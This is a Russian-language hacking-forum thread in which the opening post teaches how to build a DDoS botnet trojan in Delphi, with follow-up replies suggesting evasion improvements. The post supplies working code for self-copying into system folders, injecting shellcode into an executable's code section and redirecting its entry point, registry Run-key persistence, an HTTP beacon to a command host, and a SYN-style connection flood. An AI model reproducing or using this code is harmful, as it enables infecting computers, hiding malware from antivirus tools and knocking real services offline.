Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
Показано с 1 по 8 из 8

Тема: Бот на Delphi

  1. #1
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист

    Бот на Delphi

    Почему-то многие начинающие программисты думают, что компьютерные вирусы пишутся на ассемблере и в редких исключениях на C++. Я вас уверю, что зловред можно писать на любом языке программирования!
    И так... Сегодня речь пойдёт о делфи - самый на мой взгляд удобный язык, т.к. у него самый удобный для понимания человеком синтаксис, конечно распространённости ему ещё придаёт и то что его начинают преподавать ещё в школе. Споры между делфи-кодерами и кодерами C++ можно наблюдать практически на любой площадке. Как правило аргументы С++ это вес и нагрузка на процессор, аргументы Delphi - это не юзабельность кода. Как правило эти споры кончаются приходом админа и криками. Сегодня я постараюсь максимально понятно объяснить как возможно написать бот сеть, давайте разберём написание DDoS ботнета на Delphi.


    Что нам первым делом нужно сделать? - Составить алгоритм трояна:
    1. Спрятаться в системе
    2. Замаскироваться под системный процесс
    3. Прописаться в автозапуск
    4. Отстучать на хост
    5. Ждать команду от "хозяина"
    Вот, первую ступень мы уже прошли - алгоритм простой бот сети готов!


    Давайте разбираться со всем по очереди.
    1. Что значит "спрятаться в системе?", можно осесть в оперативной памяти, куда антивирусники и носа не суют, можно создать бут-сектор и запускаться первее операционки, но это сложнее и не для делфи, а скорее для ASM, тем более нам нужен троян руткитного поведения, а не буткит. Мы, как я уже сказал пишем простейший трой и достаточно будет всего-то копироваться в системную папку.
    Код:
    Код:
    CopyFile(Начальный_файл, Конечный_файл, Перезапись);
    Так же вам могут пригодится:
    путь к файлу:
    Код:
    Код:
    ExtractFilePath(Application.ExeName);
    эта функция возвращает путь в системе до нашей программы.
    Код:
    Код:
    ExtractFileName(Application.ExeName);
    Эта возвращает имя нашей программе.
    Код:
    Код:
     ExtractFileDir(Application.ExeName);
    Эта функция просто не заменима! Она возвращает диск с которого запущена программа, очень полезна при размножениях "с флешки".
    И так... тут мы всё решили. Переходим к шапке-неведимке.


    2. Маскировка под системный процесс - обозначает, что наша программа будет именно руткитного поведения. Часто заезженные процессы - это svchost и explorer, а других как будто и нет. Мы поступим немного по-еврейски и приконнектимся к какому-нибудь другому процессу. Примеры инжекта:
    Пример первый
    Пример добавления кода (функции Beep) в exe файлы,
    без увеличения их размера.


    1. Находим секцию с кодом.
    2. Проверка (свободно в конце секции 86 байт).
    3. Если свободно дописываем код.
    4. Меняем точку входа на наш код.
    Код:
    Код:
    Program AddCode;
    uses
      Windows;
    Const
    OpenFileName = 'C:\Test.exe'; // Путь и имя к чему добавляем.
    // Прога которую будем добавлять к ехе.
    ProgBeep: Array [0..81] of Byte = (
    //Машинная команда.     Асемблерная команда.
     $58,                        // pop eax  Извлекаем из стека адрес внутри Kernel.
     $66,$31,$C0,                // xor ax,ax Очищаем младшие разряды адреса в eax.
                         // Metka_1: Ищем начальный адрес Kernel в памяти.
     $8B,$10,                    // mov edx,[eax] Помещаем значение из этого адреса в edx.
     $66,$81,$FA,$4D,$5A,        // cmp dx,5A4Dh. Если (dx = 'MZ') то
     $74,$07,                    // jz Metka_2    прыгаем на метку 2
     $2D,$00,$00,$01,$00,        // sub eax,10000h. иначе уменьшаем адрес в eax на 1 страницу памяти (65536 байт.)
     $EB,$F0,                    // jmp Metka_1   и прыгаем на метку 1.
                         // Metka_2: Мы здесь если нашли адрес Kernel в памяти. (в eax = адрес Kernel).
     $8B,$50,$3C,                // mov edx,[eax+$3C] Помещаем в edx смещение РЕ заголовка Kernel.
     $01,$C2,                    // add edx,eax  Добавляем к смещению адрес Kernel -> в edx адрес РЕ заголовка Kernel.
     $87,$C2,                    // xchg eax,edx Меняем местами eax = адрес РЕ; edx = адрес Kernel.
     $8B,$40,$78,                // mov eax,[eax+$78] Помещаем в eax смещение табл. експорта функций.
     $01,$D0,                    // add eax,edx  Добавляем к смещению табл. адрес Kernel. (в eax = адрес табл.експорта).
     $8B,$70,$1C,                // mov esi,[eax+$1C] Помещаем в esi смещение табл. адресов функций.
     $01,$D6,                    // add esi,edx  Добавляем к смещению табл. адресов адрес Kernel.(в esi = адрес табл. адресов функций).
     $8B,$78,$20,                // mov edi,[eax+$20] Помещаем в edi смещение табл. имён функций.
     $01,$D7,                    // add edi,edx Добавляем к смещению табл. имён адрес Kernel.(в edi = адрес табл. имён функций).
     $B9,$04,$00,$00,$00,        // mov ecx,04h. Помещаем в ecx 4 (размер 1 елемента табл. имён и адресов функций).
                         // Metka_3: Ищем адрес функции Beep в табл. експорта Kernel.
     $8B,$07,                    // mov eax,[edi] Помещаем в eax смещение имени і-ой функции.
     $01,$D0,                    // add eax,edx  Добавляем к eax адрес Kernel.
     $81,$38,$42,$65,$65,$70,    // cmp dword[eax],$42656570h. Если двойное слово по адресу eax = 'Beep' то
     $74,$06,                    // jz Metka_4  прыгаем на метку 4 иначе
     $01,$CF,                    // add edi,ecx увеличиваем адрес табл. имён функций (переходим к следующему имени)
     $01,$CE,                    // add esi,ecx увеличиваем адрес табл. адресов функций (переходим к следующему адресу)
     $EB,$EE,                    // jmp Metka_3 и переходим на метку 3.
                         // Metka_4: Мы здесь если нашли (esi = смещение адреса Beep в табл експорта).
     $8B,$36,                    // mov esi,[esi] Помещаем в esi,смещение адреса Beep в Kernel.
     $01,$D6,                    // add esi,edx Добавляем к смещению адреса Beep адрес Kernel.(в esi адрес функции Beep).
     $6A,$7F,                    // push 7F Помещаем в стек параметры функции (время).
     $6A,$7F,                    // push 7F Помещаем в стек параметры функции (частота).
     $FF,$D6,                    // call esi Вызываем функцию Beep.
     $B8,$00,$00,$00,$00,        // mov eax, OldEP + ImBase. Помещаем в eax "старую" точку входа в памяти.
     $FF,$E0);                   // jmp eax Прыгаем на неё.
    Type
     TSect = packed record       // Структура секции.
       Name: Array [0..7] of Char;  // имя.
       VSiz: DWORD;                 // виртуальній размер.
       VOfs: DWORD;                 // виртуальное смещение.
       FSiz: DWORD;                 // физический размер.
       FOfs: DWORD;                 // физическое смащение.
       Res: Array [0..11] of Byte;
       Flag: DWORD;                 // флаг.
     end;
    Var
     H: THandle;                    // идентификатор.
     Sect: TSect;                   // Структура секции.
     PE,EP,Imb,VAS,FAS,br: DWORD;   // нада.
     Chek: Array [0..85] of Byte;   // для проверки.
     N: WORD;                       // к-во секций.
     i: Integer;                    // счётчик.
    Begin
     H:= CreateFile(OpenFileName,$C0000000,3,nil,3,$00000080,0); //Откр. файл Чт/Зп.
     if H = $FFFFFFFF Then
     begin
     MessageBox(0,'Ошибка открытия: '+OpenFileName,'MESG',MB_OK);
     Exit; // Ошибка выходим.
     end;
     SetFilePointer(H,$3C,nil,0);
     ReadFile(H,PE,4,br,nil);    // Cмещение РЕ.
     SetFilePointer(H,PE+$06,nil,0);
     ReadFile(H,N,2,br,nil);     // К-во секций.
     SetFilePointer(H,PE+$28,nil,0);
     ReadFile(H,EP,4,br,nil);    // RVA точки входа.
     SetFilePointer(H,PE+$34,nil,0);
     ReadFile(H,Imb,4,br,nil);   // База загрузки.
     SetFilePointer(H,PE+$F8,nil,0);
     FAS:=0; VAS:=0;
     For i:= 0 To N - 1 Do
     begin
      ReadFile(H,Sect,$28,br,nil); // Читаем секции по очереди.
      if (Sect.VOfs <= EP)and(EP < (Sect.VOfs + Sect.VSiz)) Then
      begin
      VAS:= Sect.VOfs + Sect.FSiz - 86;  //виртуальный адрес нашего кода.
      FAS:= Sect.FOfs + Sect.FSiz - 86;  //физический адрес нашего кода.
      end;
     end;
     SetFilePointer(H,FAS,nil,0);
     ReadFile(H,Chek,86,br,nil);         //читаем 86 байт по физическому адресу нашего кода.
     For i:= 0 To 85 Do if Chek[i] <> $00 Then
     begin
      MessageBox(0,'Нехватает места в конце кодовой секции.','MESG',MB_OK);
      CloseHandle(H);
      Exit;  // Ошибка выходим.
     end;
     SetFilePointer(H,FAS+4,nil,0);    // +4 для запаса чтоб код проги не повредить.
     WriteFile(H,ProgBeep,82,br,nil);  // записуем нашу прогу.
     SetFilePointer(H,FAS+4+82-6,nil,0); //уст. на OldEP.
     EP:= EP + Imb;                    // узнаём ЕР в памяти.
     WriteFile(H,EP,4,br,nil);         // записуем ЕР в памяти.
     SetFilePointer(H,PE+$28,nil,0);
     VAS:= VAS + 4;                    // меняем точку входа на наш код.
     WriteFile(H,VAS,4,br,nil);
     CloseHandle(H);                   // закрываемся.
     MessageBox(0,'Команды удачно добавлены в конец кодовой секции.','MESG',MB_OK);
    end.
    Будьте внимательны! Поскольку это всего лишь учебное пособие - я даю код для ознокомления, а не для противоправных действий.


    3.Идём дальше, сейчас нам нужно прописаться в автозапуск, делать мы это можем разными путями, я выбрал добавление через реестр, для большей наглядности:
    Код:
    Код:
    var
      reg  : TRegistry;
    begin
      reg:=TRegistry.Create;
      Reg.RootKey:=HKEY_CURRENT_USER;
      reg.OpenKey('Software',True);
      reg.OpenKey('Microsoft',True);
      reg.OpenKey('Windows',True);
      reg.OpenKey('CurrentVersion',True);
      reg.OpenKey('Run',True);
      reg.WriteString('MySoft','"'+Application.Exename+'"');
    где Application.Exename это команда, которая возвращает имя нашей программы.


    4. Отстучать на хост это не так сложно как казалось бы, многие почему-то думают, что отстук - это целая морока с кодом, с обходами и прочим - я вас зверю, что это может быть простой GET запрос
    Код:
    Код:
    trt: string;
    trt:='hi_admin'
    trt:=StringReplace(trt, ' ', '+',
                              [rfReplaceAll, rfIgnoreCase]);
    Otk:=Form2.IdHttp1.Get(Имя_нашего_хоста.ру\бла-бла-бла+'trt' );
    5. И наконец, ожидание команды от хозяина. Тут уж расчитываю на ваше воображение ибо команда будет выполнятся от имени админа (ведь руткит работает с админским процессом?).
    Вот могу подкинуть код для атаки syn-flood:
    Код:
    Код:
    interface
    
    
    uses
      winsock,
      windows;
    
    
    type
    
    
        Tssyn = Record
        TargetIP        :string;
        TargetPort      :integer;
        len             :integer;
        end;
    
    
    var
      ddos :Tssyn;
      ssynthread :Thandle;
    
    
    procedure SendSuperSyn;
    
    
    const
      SUPERSYN_SOCKETS = 200;
    
    
    implementation
    
    
    procedure SendSuperSyn;
    var
      superdelay: integer;
      SockAddr: SOCKADDR_IN;
      sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
      iaddr: IN_ADDR;
      mode: integer;
      c,i: integer;
    begin
    superdelay := 100;
    SockAddr.sin_family := AF_INET;
    SockAddr.sin_port := htons(ddos.TargetPort);
    iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
    SockAddr.sin_addr := iaddr; //ip addy
    i := 0;
    mode := 1;
      while (i < ddos.len) do
      begin
        for c := 0 to SUPERSYN_SOCKETS do begin
                sock[c] := socket(AF_INET, SOCK_STREAM, 0);
                   if (sock[c] = INVALID_SOCKET) then
                          continue;
                ioctlsocket(sock[c],FIONBIO,mode);
        end;
    
    
        for c := 0 to SUPERSYN_SOCKETS do
                  connect(sock[c], SockAddr, sizeof(SockAddr));
            Sleep(superdelay);
    
    
        for c := 0 to SUPERSYN_SOCKETS do
                closesocket(sock[c]); //close sockets
    
    
       i := i + 1;
      end;
    
    
    Suspendthread(ssynthread);
    ExitThread(0);
    end;
    
    
    end.
    Внимание! STCP не уязвим к данной атаке.
    Про админку писать ничего пока не буду, если нужно будет кому - напишу
    Удачного кодинга!
    Copyright
    Последний раз редактировалось admin; 27.08.2013 в 12:33. Причина: Не читаемый код

  2. 3 пользователя(ей) сказали cпасибо:
  3. #2
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    код читать невозможно.

  4. #3
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    Почему-то многие начинающие программисты думают, что компьютерные вирусы пишутся на ассемблере и в редких исключениях на C++. Я вас уверю, что зловред можно писать на любом языке программирования!
    И тут-же в коде вставка на 20 строк асма =) все отлично!

  5. #4
    Trust
    TopicStarter
    Красава
    Аватар для Develop

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    397
    Репутация
    77 + / -
    Web-программист
    тут на примере показывается

  6. #5
    Trust
    Админ негодует :3
    Аватар для admin

    Статус
    Offline
    Регистрация
    27.07.2013
    Сообщений
    1,439
    Репутация
    159 + / -
    Безопасность
    Цитата Сообщение от dsda Посмотреть сообщение
    код читать невозможно.
    Поправил
    [Только зарегистрированные могут видеть это. ]
    JID: [Только зарегистрированные могут видеть это. ] - пока не сижу там, только ЛС.

  7. #6
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    Еще комментарии.
    reg.OpenKey('Run',True); - как пример норм. на практике так делать нельзя. лучше вставить в автозагрузку пуска под именем например "dxinfo.exe"

    4. Отстучать на хост это не так сложно как казалось бы, многие почему-то думают, что отстук - это целая морока с кодом, с обходами и прочим - я вас зверю, что это может быть простой GET запрос
    Код:
    trt: string;
    trt:='hi_admin'
    trt:=StringReplace(trt, ' ', '+',
    [rfReplaceAll, rfIgnoreCase]);
    Otk:=Form2.IdHttp1.Get(Имя_нашего_хос �а.ру\бла-бла-бла+'trt' );

    5. И наконец, ожидание команды от хозяина.
    Так делать нельзя. Любой авер спалит такой выход. + домен быстро уйдет в блек. И да, на самом деле отстук это одно из важных действий.

  8. #7
    Аватар для Anonym Ous

    Статус
    Offline
    Регистрация
    15.10.2014
    Сообщений
    11
    Репутация
    4 + / -
    Хакинг
    Прогнал пример на Lazarus. В большей части пример кода можно использовать и на нем.

  9. #8
    Аватар для labvictx

    Статус
    Offline
    Регистрация
    10.02.2016
    Сообщений
    1
    Репутация
    0 + / -
    Программист
    А по мне норм, xоть кто-то выложил, что да к чему. Если касаемо ассемблера, то при кодинге на с++ то там тоже были строки с использ. функций на ASM. Как народ любит критиковать теx кто старается довести суть до др., по больше б теx кто несет инфу, способы, новшество чем теx кто критикует.
    Develop, спасибо1

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  

Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.